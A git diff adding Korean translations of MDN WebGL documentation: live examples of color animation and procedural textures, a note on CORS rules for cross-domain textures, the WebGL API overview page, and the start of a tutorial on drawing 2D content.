+</div>
+
+<p>{{EmbedLiveSample("simple-color-animation-source",660,425)}}</p>
+
+<div id="simple-color-animation-intro">
+<h3 id="청소_컬러_애니메이션">청소 &amp; 컬러 애니메이션</h3>
+
+<p>이 예시는 유저 인터페이스 뿐만 아니라, {{Glossary("WebGL")}}와 함께 간단한 컬러 애니메이션 설명을 제공합니다. 유저는 버튼을 클릭함으로써, 애니메이션을 시작하고, 종료하고, 다시시작할 수 있습니다.</p>
+
+<p>이번에 우리는 이벤트 핸들로 내부에서 {{Glossary("WebGL")}} 함수 콜을 넣을 것입니다. 클릭 이벤트 핸들러는 추가적으로 시작하고 멈추는 기본적인 유저 상호작용을 가능하게 합니다. 타이머와 타이머 핸들러 기능은 애니메이션 반복을 구축합니다. 애니메이션 반복은 일정한 주기로 실행되는 그리기 명령의 집합입니다.(일반적으로 모든 프레임; 이 경우 초당 1번)</p>
+</div>
+
+<div id="simple-color-animation-source">
+<pre class="brush: html">&lt;p&gt;A simple WebGL program that shows color animation.&lt;/p&gt;
+&lt;p&gt;You can click the button below to toggle the
+ color animation on or off.&lt;/p&gt;
+&lt;canvas id="canvas-view"&gt;Your browser does not seem to support
+ HTML5 canvas.&lt;/canvas&gt;
+&lt;button id="animation-onoff"&gt;
+ Press here to
+&lt;strong&gt;[verb goes here]&lt;/strong&gt;
+ the animation
+&lt;/button&gt;
+</pre>
+
+<pre class="brush: css">body {
+ text-align : center;
+}
+canvas {
+ display : block;
+ width : 280px;
+ height : 210px;
+ margin : auto;
+ padding : 0;
+ border : none;
+ background-color : black;
+}
+button {
+ display : inline-block;
+ font-size : inherit;
+ margin : auto;
+ padding : 0.6em;
+}
+</pre>
+
+<pre class="brush: js" id="livesample-js">window.addEventListener("load", function setupAnimation (evt) {
+ "use strict"
+ window.removeEventListener(evt.type, setupAnimation, false);
+
+ // A variable to hold a timer that drives the animation.
+ var timer;
+
+ // Click event handlers.
+ var button = document.querySelector("#animation-onoff");
+ var verb = document.querySelector("strong");
+ function startAnimation(evt) {
+ button.removeEventListener(evt.type, startAnimation, false);
+ button.addEventListener("click", stopAnimation, false);
+ verb.innerHTML="stop";
+ // Setup animation loop by redrawing every second.
+ timer = setInterval(drawAnimation, 1000);
+ // Give immediate feedback to user after clicking, by
+ // drawing one animation frame.
+ drawAnimation();
+ }
+ function stopAnimation(evt) {
+ button.removeEventListener(evt.type, stopAnimation, false);
+ button.addEventListener("click", startAnimation, false);
+ verb.innerHTML="start";
+ // Stop animation by clearing the timer.
+ clearInterval(timer);
+ }
+ // Call stopAnimation() once to setup the initial event
+ // handlers for canvas and button.
+ stopAnimation({type: "click"});
+
+ var gl;
+ function drawAnimation () {
+ if (!gl) {
+ var canvas = document.getElementById("canvas-view");
+ gl = canvas.getContext("webgl")
+ ||canvas.getContext("experimental-webgl");
+ if (!gl) {
+ clearInterval(timer);
+ alert("Failed to get WebGL context.\n"
+ + "Your browser or device may not support WebGL.");
+ return;
+ }
+ gl.viewport(0, 0,
+ gl.drawingBufferWidth, gl.drawingBufferHeight);
+ }
+
+ // Get a random color value using a helper function.
+ var color = getRandomColor();
+ // Set the WebGLRenderingContext clear color to the
+ // random color.
+ gl.clearColor(color[0], color[1], color[2], 1.0);
+ // Clear the context with the newly set color.
+ gl.clear(gl.COLOR_BUFFER_BIT);
+ }
+
+ // Random color helper function.
+ function getRandomColor() {
+ return [Math.random(), Math.random(), Math.random()];
+ }
+}, false);
+</pre>
+
+<p>The source code of this example is also available on <a href="https://github.com/idofilin/webgl-by-example/tree/master/simple-color-animation">GitHub</a>.</p>
+</div>
+</div>
+
+<p>{{PreviousNext("Learn/WebGL/By_example/Clearing_by_clicking","Learn/WebGL/By_example/Color_masking")}}</p>
diff --git a/files/ko/web/api/webgl_api/by_example/textures_from_code/index.html b/files/ko/web/api/webgl_api/by_example/textures_from_code/index.html
new file mode 100644
index 0000000000..75b7a68eb0
--- /dev/null
+++ b/files/ko/web/api/webgl_api/by_example/textures_from_code/index.html
@@ -0,0 +1,174 @@
+---
+title: 코드에서의 텍스쳐
+slug: Web/API/WebGL_API/By_example/Textures_from_code
+translation_of: Web/API/WebGL_API/By_example/Textures_from_code
+---
+<div>{{draft}} {{IncludeSubnav("/en-US/Learn")}}</div>
+
+<p>{{PreviousNext("Learn/WebGL/By_example/Hello_vertex_attributes","Learn/WebGL/By_example/Video_textures")}}</p>
+
+<div id="textures-from-code">
+<div class="summary">
+<p id="textures-from-code-summary">단편화된 쉐이더들과 함께 순차적으로 보여주는 간단한 데모</p>
+</div>
+
+<p>{{EmbedLiveSample("textures-from-code-source",660,425)}}</p>
+
+<div id="textures-from-code-intro">
+<h3 id="코드를_이용해_텍스쳐를_그리기">코드를 이용해 텍스쳐를 그리기</h3>
+
+<p>Texturing a point sprite with calculations done per-pixel in the fragment shader.</p>
+</div>
+
+<div id="textures-from-code-source">
+<div class="hidden">
+<pre class="brush: html">&lt;p&gt;Texture from code. Simple demonstration
+ of procedural texturing&lt;/p&gt;
+</pre>
+
+<pre class="brush: html">&lt;canvas&gt;Your browser does not seem to support
+ HTML5 canvas.&lt;/canvas&gt;
+</pre>
+
+<pre class="brush: css">body {
+ text-align : center;
+}
+canvas {
+ width : 280px;
+ height : 210px;
+ margin : auto;
+ padding : 0;
+ border : none;
+ background-color : black;
+}
+button {
+ display : block;
+ font-size : inherit;
+ margin : auto;
+ padding : 0.6em;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;script type="x-shader/x-vertex" id="vertex-shader"&gt;
+#version 100
+precision highp float;
+
+attribute vec2 position;
+
+void main() {
+ gl_Position = vec4(position, 0.0, 1.0);
+ gl_PointSize = 128.0;
+}
+&lt;/script&gt;
+</pre>
+
+<pre class="brush: html">&lt;script type="x-shader/x-fragment" id="fragment-shader"&gt;
+#version 100
+precision mediump float;
+void main() {
+ vec2 fragmentPosition = 2.0*gl_PointCoord - 1.0;
+ float distance = length(fragmentPosition);
+ float distanceSqrd = distance * distance;
+ gl_FragColor = vec4(
+ 0.2/distanceSqrd,
+ 0.1/distanceSqrd,
+ 0.0, 1.0 );
+}
+&lt;/script&gt;
+</pre>
+
+<div class="hidden">
+<pre class="brush: js">;(function(){
+</pre>
+</div>
+
+<pre class="brush: js" id="livesample-js">"use strict"
+window.addEventListener("load", setupWebGL, false);
+var gl,
+ program;
+function setupWebGL (evt) {
+ window.removeEventListener(evt.type, setupWebGL, false);
+ if (!(gl = getRenderingContext()))
+ return;
+
+ var source = document.querySelector("#vertex-shader").innerHTML;
+ var vertexShader = gl.createShader(gl.VERTEX_SHADER);
+ gl.shaderSource(vertexShader,source);
+ gl.compileShader(vertexShader);
+ source = document.querySelector("#fragment-shader").innerHTML
+ var fragmentShader = gl.createShader(gl.FRAGMENT_SHADER);
+ gl.shaderSource(fragmentShader,source);
+ gl.compileShader(fragmentShader);
+ program = gl.createProgram();
+ gl.attachShader(program, vertexShader);
+ gl.attachShader(program, fragmentShader);
+ gl.linkProgram(program);
+ gl.detachShader(program, vertexShader);
+ gl.detachShader(program, fragmentShader);
+ gl.deleteShader(vertexShader);
+ gl.deleteShader(fragmentShader);
+ if (!gl.getProgramParameter(program, gl.LINK_STATUS)) {
+ var linkErrLog = gl.getProgramInfoLog(program);
+ cleanup();
+ document.querySelector("p").innerHTML =
+ "Shader program did not link successfully. "
+ + "Error log: " + linkErrLog;
+ return;
+ }
+ initializeAttributes();
+ gl.useProgram(program);
+ gl.drawArrays(gl.POINTS, 0, 1);
+ cleanup();
+}
+
+var buffer;
+function initializeAttributes() {
+ gl.enableVertexAttribArray(0);
+ buffer = gl.createBuffer();
+ gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
+ gl.bufferData(gl.ARRAY_BUFFER, new Float32Array([0.0, 0.0]), gl.STATIC_DRAW);
+ gl.vertexAttribPointer(0, 2, gl.FLOAT, false, 0, 0);
+}
+
+function cleanup() {
+gl.useProgram(null);
+if (buffer)
+ gl.deleteBuffer(buffer);
+if (program)
+ gl.deleteProgram(program);
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: js">function getRenderingContext() {
+ var canvas = document.querySelector("canvas");
+ canvas.width = canvas.clientWidth;
+ canvas.height = canvas.clientHeight;
+ var gl = canvas.getContext("webgl")
+ || canvas.getContext("experimental-webgl");
+ if (!gl) {
+ var paragraph = document.querySelector("p");
+ paragraph.innerHTML = "Failed to get WebGL context."
+ + "Your browser or device may not support WebGL.";
+ return null;
+ }
+ gl.viewport(0, 0,
+ gl.drawingBufferWidth, gl.drawingBufferHeight);
+ gl.clearColor(0.0, 0.0, 0.0, 1.0);
+ gl.clear(gl.COLOR_BUFFER_BIT);
+ return gl;
+}
+</pre>
+</div>
+
+<div class="hidden">
+<pre class="brush: js">})();
+</pre>
+</div>
+
+<p>The source code of this example is also available on <a href="https://github.com/idofilin/webgl-by-example/tree/master/textures-from-code">GitHub</a>.</p>
+</div>
+</div>
+
+<p>{{PreviousNext("Learn/WebGL/By_example/Hello_vertex_attributes","Learn/WebGL/By_example/Video_textures")}}</p>
diff --git a/files/ko/web/api/webgl_api/cross-domain_textures/index.html b/files/ko/web/api/webgl_api/cross-domain_textures/index.html
new file mode 100644
index 0000000000..17d781c01f
--- /dev/null
+++ b/files/ko/web/api/webgl_api/cross-domain_textures/index.html
@@ -0,0 +1,33 @@
+---
+title: 크로스-도메인 텍스쳐
+slug: Web/API/WebGL_API/Cross-Domain_Textures
+tags:
+ - WebGL
+ - 웹지엘
+ - 크로스 도메인
+ - 텍스쳐
+translation_of: Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL#Cross-domain_textures
+---
+<p>WebGL 텍스쳐 로딩은 크로스-도메인 접근 규칙에 따라 제약을 받습니다. 여러분이 만든 컨텐츠에서 다른 도메인의 텍스쳐,<span style="line-height: 16.7999992370605px;"> 즉, 크로스-도메인 텍스쳐를 로딩</span>하려면 CORS 승인이 필요합니다. CORS에 대한 자세한 내용은 <a href="/En/HTTP_access_control">HTTP access control</a>을 참고하시기 바랍니다.</p>
+
+<p>CORS 승인된 이미지를 WebGL 텍스쳐에 사용하는 방법에 대한 설명은 <a href="http://hacks.mozilla.org/2011/11/using-cors-to-load-webgl-textures-from-cross-domain-images/">hacks.mozilla.org 문서</a>와 <a href="http://people.mozilla.org/~bjacob/webgltexture-cors-js.html">예제</a>를 참고하시기 바랍니다.</p>
+
+<blockquote>
+<p>역자 주 : 예제 링크가 깨져있는데, 원문에도 깨진 링크가 포함되어 있습니다.</p>
+</blockquote>
+
+<div class="note">
+<p><strong>Note:</strong> WebGL 텍스쳐에 대한 CORS 지원과 이미지 요소의 crossOrigin 속성이 {{Gecko("8.0")}}에 구현되어 있습니다.</p>
+</div>
+
+<p>내용이 변경되어 오염된(tainted) 쓰기 전용의 2D 캔버스는 WebGL 텍스쳐로 사용될 수 없습니다. 예를 들어 크로스-도메인 이미지가 그려진 2D <span style="line-height: 16.7999992370605px;">{{ HTMLElement("canvas") }}는 오염된 2D 캔버스라고 할 수 있습니다.</span></p>
+
+<div class="note">
+<p><strong>Note:</strong> 캔버스 2D의 drawImage에 대한 CORS 지원은 {{Gecko("9.0")}}에 구현되어 있습니다. 따라서 {{Gecko("9.0")}}에서부터는, CORS 승인된 크로스-도메인 이미지는 2D 캔버스를 오염시키지 않으며, CORS 승인된 크로스-도메인 이미지가 그려진 2D 캔버스도 WebGL 텍스쳐로 사용할 수 있습니다.</p>
+</div>
+
+<div class="note">
+<p><strong>Note:</strong> 크로스-도메인 비디오에 대한 CORS 지원과 {{ HTMLElement("video") }}요소의 crossorigin 속성은 {{Gecko("12.0")}}에 구현되어 있습니다.</p>
+</div>
+
+<p>{{ languages( { "ja": "ja/WebGL/Cross-Domain_Textures", "ko": "ko/Web/WebGL/Cross-Domain_Textures"} ) }}</p>
diff --git a/files/ko/web/api/webgl_api/index.html b/files/ko/web/api/webgl_api/index.html
new file mode 100644
index 0000000000..20988c4b70
--- /dev/null
+++ b/files/ko/web/api/webgl_api/index.html
@@ -0,0 +1,255 @@
+---
+title: WebGL
+slug: Web/API/WebGL_API
+tags:
+ - 3D
+ - 3D Graphics
+ - API
+ - Advanced
+ - Graphics
+ - JavaScript
+ - Media
+ - Overview
+ - Reference
+ - WebGL
+ - WebGL API
+translation_of: Web/API/WebGL_API
+---
+<div>{{WebGLSidebar}}</div>
+
+<p><strong>WebGL</strong>(Web Graphics Library)은 플러그인을 사용하지 않고 웹 브라우저에서 상호작용 가능한 3D와 2D 그래픽을 표현하기 위한 JavaScript API입니다. WebGL은 HTML5 {{HTMLElement("canvas")}} 요소에서 사용할 수 있는, OpenGL ES 2.0을 대부분 충족하는 API를 제공합니다.</p>
+
+<p>WebGL은 <a href="https://www.mozilla.org/ko/firefox/new/">Firefox</a> 4+, <a href="http://www.google.com/chrome/" title="http://www.google.com/chrome/">Google Chrome</a> 9+, <a href="http://www.opera.com/" title="http://www.opera.com/">Opera</a> 12+, <a href="http://www.apple.com/fr/safari/" title="http://www.apple.com/fr/safari/">Safari</a> 5.1+, <a href="http://windows.microsoft.com/en-us/internet-explorer/download-ie" title="http://windows.microsoft.com/en-us/internet-explorer/download-ie">Internet Explorer</a> 11+, <a href="https://www.microsoft.com/en-us/windows/microsoft-edge">Microsoft Edge</a> build 10240+에서 사용할 수 있습니다. 그러나 사용자 장치의 하드웨어도 WebGL 기능을 지원해야 합니다.</p>
+
+<p>{{HTMLElement("canvas")}} 요소는 <a href="/ko/docs/Web/API/Canvas_API">캔버스 API</a>를 사용해 웹 페이지에서 2D 그래픽을 그릴 때도 사용됩니다.</p>
+
+<h2 class="Documentation" id="참고서">참고서</h2>
+
+<h3 id="표준_인터페이스">표준 인터페이스</h3>
+
+<div class="index">
+<ul>
+ <li>{{domxref("WebGLRenderingContext")}}</li>
+ <li>{{domxref("WebGL2RenderingContext")}}</li>
+ <li>{{domxref("WebGLActiveInfo")}}</li>
+ <li>{{domxref("WebGLBuffer")}}</li>
+ <li>{{domxref("WebGLContextEvent")}}</li>
+ <li>{{domxref("WebGLFramebuffer")}}</li>
+ <li>{{domxref("WebGLProgram")}}</li>
+ <li>{{domxref("WebGLQuery")}}</li>
+ <li>{{domxref("WebGLRenderbuffer")}}</li>
+ <li>{{domxref("WebGLSampler")}}</li>
+ <li>{{domxref("WebGLShader")}}</li>
+ <li>{{domxref("WebGLShaderPrecisionFormat")}}</li>
+ <li>{{domxref("WebGLSync")}}</li>
+ <li>{{domxref("WebGLTexture")}}</li>
+ <li>{{domxref("WebGLTransformFeedback")}}</li>
+ <li>{{domxref("WebGLUniformLocation")}}</li>
+ <li>{{domxref("WebGLVertexArrayObject")}}</li>
+</ul>
+</div>
+
+<h3 id="확장">확장</h3>
+
+<div class="index">
+<ul>
+ <li>{{domxref("ANGLE_instanced_arrays")}}</li>
+ <li>{{domxref("EXT_blend_minmax")}}</li>
+ <li>{{domxref("EXT_color_buffer_float")}}</li>
+ <li>{{domxref("EXT_color_buffer_half_float")}}</li>
+ <li>{{domxref("EXT_disjoint_timer_query")}}</li>
+ <li>{{domxref("EXT_float_blend")}} {{experimental_inline}}</li>
+ <li>{{domxref("EXT_frag_depth")}}</li>
+ <li>{{domxref("EXT_sRGB")}}</li>
+ <li>{{domxref("EXT_shader_texture_lod")}}</li>
+ <li>{{domxref("EXT_texture_compression_bptc")}}</li>
+ <li>{{domxref("EXT_texture_compression_rgtc")}}</li>
+ <li>{{domxref("EXT_texture_filter_anisotropic")}}</li>
+ <li>{{domxref("OES_element_index_uint")}}</li>
+ <li>{{domxref("OES_fbo_render_mipmap")}} {{experimental_inline}}</li>
+ <li>{{domxref("OES_standard_derivatives")}}</li>
+ <li>{{domxref("OES_texture_float")}}</li>
+ <li>{{domxref("OES_texture_float_linear")}}</li>
+ <li>{{domxref("OES_texture_half_float")}}</li>
+ <li>{{domxref("OES_texture_half_float_linear")}}</li>
+ <li>{{domxref("OES_vertex_array_object")}}</li>
+ <li>{{domxref("WEBGL_color_buffer_float")}}</li>
+ <li>{{domxref("WEBGL_compressed_texture_astc")}}</li>
+ <li>{{domxref("WEBGL_compressed_texture_atc")}}</li>
+ <li>{{domxref("WEBGL_compressed_texture_etc")}}</li>
+ <li>{{domxref("WEBGL_compressed_texture_etc1")}}</li>
+ <li>{{domxref("WEBGL_compressed_texture_pvrtc")}}</li>
+ <li>{{domxref("WEBGL_compressed_texture_s3tc")}}</li>
+ <li>{{domxref("WEBGL_compressed_texture_s3tc_srgb")}}</li>
+ <li>{{domxref("WEBGL_debug_renderer_info")}}</li>
+ <li>{{domxref("WEBGL_debug_shaders")}}</li>
+ <li>{{domxref("WEBGL_depth_texture")}}</li>
+ <li>{{domxref("WEBGL_draw_buffers")}}</li>
+ <li>{{domxref("WEBGL_lose_context")}}</li>
+</ul>
+</div>
+
+<h3 id="이벤트">이벤트</h3>
+
+<ul>
+ <li><code><a href="/ko/docs/Web/API/HTMLCanvasElement/webglcontextlost_event">webglcontextlost</a></code></li>
+ <li><code><a href="/ko/docs/Web/API/HTMLCanvasElement/webglcontextrestored_event">webglcontextrestored</a></code></li>
+ <li><code><a href="/ko/docs/Web/API/HTMLCanvasElement/webglcontextcreationerror_event">webglcontextcreationerror</a></code></li>
+</ul>
+
+<h3 id="상수와_자료형">상수와 자료형</h3>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/WebGL_API/Constants">WebGL 상수</a></li>
+ <li><a href="/ko/docs/Web/API/WebGL_API/Types">WebGL 자료형</a></li>
+</ul>
+
+<h3 id="WebGL_2">WebGL 2</h3>
+
+<p>WebGL 2는 {{domxref("WebGL2RenderingContext")}} 인터페이스를 통해 제공되는 WebGL 메이저 업데이트다. OpenGL ES 3.0 을 기반으로 하며 다음과 같은 특징을 포함한다:</p>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/WebGL2RenderingContext/texImage3D">3D textures</a>,</li>
+ <li><a href="/ko/docs/Web/API/WebGLSampler">Sampler objects</a>,</li>
+ <li><a href="/ko/docs/Web/API/WebGL2RenderingContext#Uniform_buffer_objects">Uniform Buffer objects</a>,</li>
+ <li><a href="/ko/docs/Web/API/WebGLSync">Sync objects</a>,</li>
+ <li><a href="/ko/docs/Web/API/WebGLQuery">Query objects</a>,</li>
+ <li><a href="/ko/docs/Web/API/WebGLTransformFeedback">Transform Feedback objects</a>,</li>
+ <li>WebGL 2의 핵심이 된 확장 기능: <a href="/ko/docs/Web/API/WebGLVertexArrayObject">Vertex Array objects</a>, <a href="/ko/docs/Web/API/WebGL2RenderingContext/drawArraysInstanced">instancing</a>, <a href="/ko/docs/Web/API/WebGL2RenderingContext/drawBuffers">multiple render targets</a>, <a href="/ko/docs/Web/API/EXT_frag_depth">fragment depth</a>.</li>
+</ul>
+
+<p><a href="https://hacks.mozilla.org/2017/01/webgl-2-lands-in-firefox/">"WebGL 2 lands in Firefox"</a> 블로그 포스트와와 and <a href="http://webglsamples.org/WebGL2Samples/">webglsamples.org/WebGL2Samples</a> 데모도 참고.</p>
+
+<h2 class="Documentation" id="안내서와_자습서">안내서와 자습서</h2>
+
+<h3 id="안내서">안내서</h3>
+
+<dl>
+ <dt><a href="/ko/docs/Web/API/WebGL_API/Data">WebGL의 데이터</a></dt>
+ <dd>WebGL 코드를 작성할 때 사용하는 변수, 버퍼와 그 외 다른 형태의 데이터를 알아봅니다.</dd>
+ <dt><a href="/ko/docs/Web/WebGL/WebGL_best_practices" title="WebGL/WebGL best practices">WebGL 우수 사례</a></dt>
+ <dd>WebGL 콘텐츠의 품질, 성능, 안정성을 높일 수 있는 팁과 제안입니다.</dd>
+ <dt><a href="/ko/docs/Web/WebGL/Using_Extensions" title="WebGL/Using_Extensions">확장 사용</a></dt>
+ <dd>WebGL 확장을 사용하는 법을 알아봅니다.</dd>
+</dl>
+
+<h3 id="자습서">자습서</h3>
+
+<dl>
+ <dt><a href="/ko/docs/Web/API/WebGL_API/Tutorial">WebGL 자습서</a></dt>
+ <dd>초심자를 위한 WebGL 핵심 개념입니다. WebGL을 접해보지 않았다면 여기서 시작해보세요.</dd>
+</dl>
+
+<h3 id="예제">예제</h3>
+
+<dl>
+ <dt><a href="/ko/docs/Web/API/WebGL_API/Basic_2D_animation_example">기초 WebGL 2D 애니메이션 예제</a></dt>
+ <dd>This example demonstrates the simple animation of a one-color shape. Topics examined are adapting to aspect ratio differences, a function to build shader programs from sets of multiple shaders, and the basics of drawing in WebGL.</dd>
+ <dt><a href="/ko/docs/Web/API/WebGL_API/By_example">예제로 알아보는 WebGL</a></dt>
+ <dd>A series of live samples with short explanations that showcase WebGL concepts and capabilities. The examples are sorted according to topic and level of difficulty, covering the WebGL rendering context, shader programming, textures, geometry, user interaction, and more.</dd>
+</dl>
+
+<h3 id="고급_자습서">고급 자습서</h3>
+
+<dl>
+ <dt><a href="/ko/docs/Web/API/WebGL_API/WebGL_model_view_projection">WebGL 모델 뷰 프로젝션</a></dt>
+ <dd>A detailed explanation of the three core matrices that are typically used to represent a 3D object view: the model, view and projection matrices.</dd>
+ <dt><a href="/ko/docs/Web/API/WebGL_API/Matrix_math_for_the_web">웹을 위한 행렬 계산</a></dt>
+ <dd>A useful guide to how 3D transform matrices work, and can be used on the web — both for WebGL calculations and in CSS3 transforms.</dd>
+</dl>
+
+<h2 class="Related_Topics" id="참고자료">참고자료</h2>
+
+<ul>
+ <li><a href="https://www.youtube.com/embed/H4c8t6myAWU/?feature=player_detailpage">Raw WebGL: An introduction to WebGL</a> A talk by Nick Desaulniers that introduces the basics of WebGL. This is a great place to start if you've never done low-level graphics programming.</li>
+ <li><a href="http://www.khronos.org/webgl/" title="http://www.khronos.org/webgl/">Khronos WebGL site</a> The main web site for WebGL at the Khronos Group.</li>
+ <li><a href="http://learningwebgl.com/blog/?page_id=1217" title="http://learningwebgl.com/blog/">Learning WebGL</a> A site with tutorials on how to use WebGL.</li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/webgl/webgl_fundamentals/" title="http://www.html5rocks.com/en/tutorials/webgl/webgl_fundamentals/">WebGL Fundamentals</a> A basic tutorial with fundamentals of WebGL.</li>
+ <li><a href="http://webglplayground.net/" title="http://webglplayground.net">WebGL playground</a> An online tool for creating and sharing WebGL projects. Good for quick prototyping and experimenting.</li>
+ <li><a href="http://www.webglacademy.com/" title="http://www.webglacademy.com">WebGL Academy</a> An HTML/JavaScript editor with tutorials to learn basics of webgl programming.</li>
+ <li><a href="http://webglstats.com/">WebGL Stats</a> A site with statistics about WebGL capabilities in browsers on different platforms.</li>
+</ul>
+
+<h3 id="Libraries">Libraries</h3>
+
+<ul>
+ <li><a href="https://github.com/toji/gl-matrix" title="https://github.com/toji/gl-matrix">glMatrix</a> is a JavaScript matrix and vector library for high-performance WebGL apps.</li>
+ <li><a href="http://senchalabs.github.com/philogl/">PhiloGL</a> is a WebGL framework for data visualization, creative coding, and game development.</li>
+ <li><a href="http://www.pixijs.com/">Pixi.js</a> is a fast, open-source 2D WebGL renderer.</li>
+ <li><a href="https://playcanvas.com/">PlayCanvas</a> is an open-source game engine.</li>
+ <li><a href="http://sylvester.jcoglan.com/" title="http://sylvester.jcoglan.com/">Sylvester</a> is an open-source library for manipulating vectors and matrices. Not optimized for WebGL but extremely robust.</li>
+ <li><a href="https://threejs.org/">three.js</a> is an open-source, fully featured 3D WebGL library.</li>
+ <li><a href="https://phaser.io/">Phaser</a> is a fast, free and fun open source framework for Canvas and WebGL powered browser games</li>
+</ul>
+
+<h2 class="Related_Topics" id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('WebGL')}}</td>
+ <td>{{Spec2('WebGL')}}</td>
+ <td>Initial definition. Based on OpenGL ES 2.0</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('WebGL2')}}</td>
+ <td>{{Spec2('WebGL2')}}</td>
+ <td>Builds on top of WebGL 1. Based on OpenGL ES 3.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('OpenGL ES 2.0')}}</td>
+ <td>{{Spec2('OpenGL ES 2.0')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('OpenGL ES 3.0')}}</td>
+ <td>{{Spec2('OpenGL ES 3.0')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 class="Related_Topics" id="브라우저_호환성">브라우저 호환성</h2>
+
+<h3 id="WebGL_1">WebGL 1</h3>
+
+
+
+<p>{{Compat("api.WebGLRenderingContext", 0)}}</p>
+
+<h3 id="WebGL_2_2">WebGL 2</h3>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("api.WebGL2RenderingContext", 0)}}</p>
+
+<h3 id="호환성_노트">호환성 노트</h3>
+
+<p>브라우저 이외에 GPU 자체도 기능을 제공합니다. 따라서 예를들면 S3 텍스처 압축(S3TC)은 오직 테그라 기반 테블렛에서 사용가능합니다.</p>
+
+<h3 id="게코_노트">게코 노트</h3>
+
+<h4 id="WebGL_디버깅과_테스팅">WebGL 디버깅과 테스팅</h4>
+
+<p>Gecko 10.0 {{geckoRelease("10.0")}}을 사용하면 WebGL의 호환성을 테스트 목적으로 제어할수 있도록 두 가지 환경설정을 할 수 있습니다.</p>
+
+<dl>
+ <dt><code>webgl.min_capability_mode</code></dt>
+ <dd>Boolean 속성으로 참일 경우 최소 호환성 모드로 사용 가능합니다. <span style="line-height: 1.5;">이 모드에서 WebGL는 오직 최소한의 기능만 설정하고 WebGL 명세에서 필요한 기능만 지원하도록 설정되어 집니다. 이는 WebGL코드가 어떠한 디바이스나 브라우저에서 작동이 된다는 것을 보장합니다. 기본값으로는 거짓으로 설정되어 있습니다.</span></dd>
+ <dt><code>webgl.disable_extensions</code></dt>
+ <dd>Boolean 속성으로 참일 경우 WebGL 확장을 비활성화 하고 기본값은 거짓입니다.</dd>
+</dl>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Canvas_API">Canvas API</a></li>
+ <li><a href="/ko/docs/Web/API/WebGLRenderingContext/getSupportedExtensions#Browser_compatibility">Compatibility info about WebGL extensions</a></li>
+</ul>
diff --git a/files/ko/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html b/files/ko/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html
new file mode 100644
index 0000000000..62ca452949
--- /dev/null
+++ b/files/ko/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html
@@ -0,0 +1,236 @@
+---
+title: WebGL 컨텍스트에 2D 컨텐츠 추가하기
+slug: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context
+tags:
+ - Tutorial
+ - WebGL
+translation_of: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context
+---
+<p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL")}}</p>
+
+<p>일단 성공적으로 <a href="/en/WebGL/Getting_started_with_WebGL" style="font-size: 13.63636302948px; line-height: 19.0909080505371px;" title="en/WebGL/Getting started with WebGL">WebGL컨텍스트를 생성</a>하면 그 안에 렌더링을 시작할 수 있습니다. 가장 간단히 해볼 수 있는 것은 텍스쳐가 없는 2D 객체를 렌더링 하는 것입니다. 한번 사각형을 그리는 코드를 작성하는 것으로 시작해봅시다.</p>
+
+<h2 id="장면(scene)에_조명효과_추가하기">장면(scene)에 조명효과 추가하기</h2>
+
+<div>  시작 하기전에 반드시 이해해야할 것은 예제에서 오직 2차원 객체만 랜더링을 하더라도 3D 공간에서 그리고 있다는 것 입니다. 이처럼 여전히 객체가 그려질 간단한 장면에 조명 쉐이더를 설정하는것이 필요합니다. 여기서 어떻게 사각형에 조명효과를 줄 수 있는지 확인해보겠습니다.</div>
+
+<div> </div>
+
+<h3 id="쉐이더_초기화">쉐이더 초기화</h3>
+
+<p>  <span style="font-size: 14px; line-height: 1.5;">쉐이더는</span><a class="external" href="http://www.khronos.org/registry/gles/specs/2.0/GLSL_ES_Specification_1.0.17.pdf" style="font-size: 13.63636302948px; line-height: 19.0909080505371px;" title="http://www.khronos.org/registry/gles/specs/2.0/GLSL_ES_Specification_1.0.17.pdf">OpenGL ES 쉐이딩 언어</a><span style="font-size: 14px; line-height: 1.5;">를 사용하여 지정됩니다. 컨텐츠의 유지보수와 업데이트를 쉽게하기 위해 쉐이더를 '불러오기위한' 코드를 직접 작성하겠습니다. 다시 말하자면 쉐이더를 직접 새로 만드는 것이 아니라 HTML문서에서 쉐이더를 '찾아오는' 자바스크립트 코드입니다. 이 작업을 처리하는 initShaders()함수의 일반적인 형태를 살펴보겠습니다.</span></p>
+
+<pre class="brush: js">function initShaders() {
+ var fragmentShader = getShader(gl, "shader-fs");
+ var vertexShader = getShader(gl, "shader-vs");
+
+ // Create the shader program
+
+ shaderProgram = gl.createProgram();
+ gl.attachShader(shaderProgram, vertexShader);
+ gl.attachShader(shaderProgram, fragmentShader);
+ gl.linkProgram(shaderProgram);
+
+ // If creating the shader program failed, alert
+
+ if (!gl.getProgramParameter(shaderProgram, gl.LINK_STATUS)) {
+ alert("Unable to initialize the shader program.");
+ }
+
+ gl.useProgram(shaderProgram);
+
+ vertexPositionAttribute = gl.getAttribLocation(shaderProgram, "aVertexPosition");
+ gl.enableVertexAttribArray(vertexPositionAttribute);
+}
+
+</pre>
+
